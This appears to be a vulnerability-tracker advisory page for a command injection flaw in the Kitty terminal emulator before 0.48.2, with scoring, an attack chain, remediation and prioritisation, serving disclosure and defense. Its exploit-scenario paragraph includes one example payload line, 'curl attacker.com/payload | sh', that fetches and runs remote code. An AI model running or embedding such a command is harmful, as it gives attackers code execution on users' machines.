Skip to main content

Kitty Terminal CVE-2026-72913

| EUVDEUVD-2026-55835 HIGH
Command Injection (CWE-77)
2026-08-10 security-advisories@github.com
7.3
CVSS 4.0 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Embed malicious DCS sequences in attacker-controlled content
  2. Delivery
    Deliver content to victim via file, SSH banner, or piped stream
  3. Exploit
    Victim displays content in active Kitty terminal window
  4. Execution
    @kitty-echo handler writes shell command characters to shell stdin
  5. Persist
    @kitty-ssh handler emits newline, terminating the injected command
  6. Impact
    Shell executes attacker-controlled command as the victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The Kitty terminal emulator (version prior to 0.48.2) must be in use as the user's terminal, and the user must display terminal data from an untrusted source - for example, by running cat on an attacker-supplied file, viewing output piped from an external process, or connecting via SSH to an untrusted remote host that sends malicious terminal sequences. Both the @kitty-echo and @kitty-ssh DCS handlers must be reached in sequence within the same Kitty window; this requires the attacker to control the terminal payload content. The attack is limited by: (1) the victim must actively view the malicious content in Kitty specifically (not any other terminal emulator), (2) the user must have an active shell session in the same Kitty window receiving the escape sequence, and (3) CVSS UI:P confirms passive user interaction is required - the user does not need to issue any explicit command, but must trigger content display.

Impact

The CVSS 4.0 score of 7.3 with vector AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H accurately captures the key risk shape: high impact triad but constrained by the requirement for passive user interaction (UI:P) and a specific attack condition (AT:P - user must display untrusted terminal data in a running Kitty session). The attack complexity is low once the delivery channel is established. No EPSS data was provided; absence of KEV listing and no known POC suggest this has not yet seen widespread exploitation. The real-world risk is moderate-to-high for users who regularly view untrusted content (log files, SSH sessions to untrusted hosts, piped output) in Kitty. The AT:P constraint is the principal risk limiter - users who only view trusted output in their terminal have minimal exposure. Conflicting signal note: AV:L in the official vector is conservative; a remote attacker can deliver the malicious escape sequence via any content channel (email attachment, web-served log, remote command output), making the realistic delivery surface broader than a strict local-only classification implies.

Exploit ScenarioDerived

An attacker embeds crafted DCS escape sequences - a @kitty-echo payload containing a shell command (e.g., curl attacker.com/payload | sh) followed by a @kitty-ssh sequence that supplies the terminating newline - into a file, log stream, or SSH banner. When the victim views that content in their Kitty terminal (e.g., cat malicious.log, or connects to an attacker-controlled SSH host), the two handlers fire in sequence, writing the command and its newline to the active shell's stdin, silently executing the payload as the user.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

Command injection in Kitty terminal emulator prior to v0.48.2 allows arbitrary shell command execution when a user views attacker-controlled terminal output. The @kitty-echo DCS handler writes printable shell command characters directly to the child shell's stdin without sanitization, while the @kitty-ssh handler emits a newline via get_ssh_data - chaining the two handlers delivers a complete command-plus-newline to the running shell, executing attacker-supplied code as the user. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV; a vendor-released patch is available in v0.48.2.

RemediationAI

The primary fix is to upgrade Kitty to version 0.48.2, available at https://github.com/kovidgoyal/kitty/releases/tag/v0.48.2 and documented in the changelog at https://sw.kovidgoyal.net/kitty/changelog/#id1. The commit 9dca948e9bec3c926ab3370f2cd10f9b9b10821f contains the upstream fix. For users who cannot immediately upgrade, a compensating control is to avoid viewing untrusted terminal data (files, piped output, or SSH sessions to untrusted hosts) in any Kitty window connected to an active shell; consider using a separate, minimal terminal emulator for inspecting untrusted content. Additionally, restricting @kitty-echo and @kitty-ssh DCS handler activation (if Kitty exposes a configuration option) would neutralize the attack chain - verify current Kitty documentation for handler-disable options. Note that disabling the SSH kitten functionality would impact the @kitty-ssh remote connection features.

Affected VersionsENISA

kitty < 0.48.2

Affected Packages

euvd kitty fix: 0.48.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Kitty is a cross-platform GPU-accelerated terminal emulator. DCS (Device Control String) sequences are ANSI/VT terminal escape sequences used to send vendor-specific data to the terminal. Kitty defines custom DCS handlers: @kitty-echo (handle_remote_echo in kitty/window.py) and @kitty-ssh (handle_remote_ssh, which calls get_ssh_data in kittens/ssh/utils.py). The root cause is CWE-77 (Improper Neutralization of Special Elements used in a Command), specifically that handle_remote_echo accepts the full set of printable shell metacharacters from the received DCS payload and writes them verbatim to the connected shell process's stdin. A separate handler emits a newline, which acts as the command terminator. Because these handlers fire on any received terminal data - not just from trusted sources - content originating outside the user's control (downloaded files, SSH output, log streams) can trigger command execution.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 7.3 HIGH
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.8 HIGH

Local vector because exploit requires Kitty running on the victim's system; no attacker privileges needed; user must display the malicious content (UI:R); full CIA impact from arbitrary command execution.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 7.8 HIGH

Primary rating from Vendor (github).

CVSS VectorVendor: github

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 10, 2026 - 22:04 EUVD
CVE Published
Aug 10, 2026 - 21:17 cve.org
HIGH 7.3

DescriptionCVE.org

Kitty is a cross-platform GPU based terminal. Prior to 0.48.2, the @kitty-echo and @kitty-ssh DCS handlers in kitty/window.py write unauthenticated data to the child shell's stdin, where handle_remote_echo accepts printable shell command characters and handle_remote_ssh calls get_ssh_data in kittens/ssh/utils.py, which emits a newline; chaining the handlers can execute attacker-controlled commands when a user displays untrusted terminal data. This issue is fixed in version 0.48.2.

Executive ViewAI

Why It Matters

Kitty terminal emulator (versions before 0.48.2) contains a command injection vulnerability that executes attacker-supplied shell commands when users view malicious terminal output, potentially compromising developer and system administrator systems with access to corporate resources. This vulnerability requires user interaction with attacker-controlled terminal content but poses a clear path to unauthorized code execution and lateral movement within development infrastructure. Patch version 0.48.2 eliminates the vulnerability and is available for immediate deployment.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 96% exploitable
Prevalence
Medium
popular GPU terminal among Linux/macOS power-user developers
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Vendor StatusVendor

SUSE

Severity: Moderate

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy